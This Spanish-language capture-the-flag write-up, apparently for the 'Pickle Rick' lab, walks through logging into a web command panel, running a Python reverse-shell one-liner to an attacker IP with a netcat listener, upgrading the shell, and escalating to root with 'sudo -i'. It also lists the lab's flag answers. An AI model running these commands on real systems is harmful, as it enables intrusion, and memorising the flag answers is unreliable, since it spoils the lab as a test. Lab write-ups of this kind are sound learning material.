Pa dentrooooooooo !!!!!

Sabemos que tenemos un usuario y una contraseña potencial, así que intentaremos.

Username: R1ckRul3s
Password: Wubbalubbadubdub

Perfecto !!! hemos obtenido acceso.

Tenemos varias secciones, pero si les soy sincero, me interesa más la de commands.

rId20

Algo que podemos realizar es ver, si podemos ejecutar comandos directamente desde aquí, daremos un ls, y vemos que podemos contestar la primera pregunta si hacemos un cat Sup3rS3cretPickl3Ingred.txt

rId20

Vemos que la página es un poco troll, y al hacer cat no nos deja, pues... lo que haremos es ver si podemos hacer ejecución de otros binarios que nos puedan permitir una reverse shell, por ejemplo con python 3, si usamos el siguiente comando podemos comprobar:

python3 -c "print('Jamiel')"

rId20

Yupii !!!! Vemos que tenemos ejecución, por lo tanto usaremos in oneliner con python3 que nos permitirá ganar acceso a la máquina directamente:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.54.248",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Para esto en paralelo tendremos que correr nuestro netcat en nuestra terminal:

nc -lnvp 1234

Info

Esto se tiene que hacer antes de ejecutar el onliner de python3

Una vez tengamos ready el el netcat, ejecutamos nuestro oneliner, recordar que tenemos que ajustar la ip y el puerto según nuestros requerimientos y pufff, hemos obtenido acceso al serv.

rId20

Ahora si podemos ver el primer ingrediente

rId20

mr. meeseek hair

Una buena práctica es ejecutar las siguientes lineas mostradas abajo, para poder crear una consola mucho más interactiva:

script /dev/null -c bash
control z
stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Ya que tenemos nuestra consola interactiva, procedemos a buscar nuestro segundo ingrediente. Primero buscaremos entre los archivos de la ruta /var/www/html, me encontré que el archivo clue.txt dice lo mostrado en la imagen.

rId20

Pregunta-1

What is the first ingredient Rick needs?

mr. meeseek hair


Leido lo que dice el archivo, y deduciendo que es una máquina easy, fuimos a home, encontramos un user llamado rick, accedemos a su dir y encontraremos al archivo que buscamos.

rId20

Pregunta-2

Whats the second ingredient Rick needs?

1 jerry tear


Por deducción, imagino que el tercer archivo debe estar dentro de root, pero para poder acceder a este dir necesitamos tener privilegios, uno de los comandos más comunes que tenemos que utilizar es "sudo -i" y efectivamente tenemos el root, ya podemos dirigirnos a /root y hacerle un cat a nuestro tercer archivo.

rId20

Pregunta-3

Whats the final ingredient Rick needs?

fleeb juice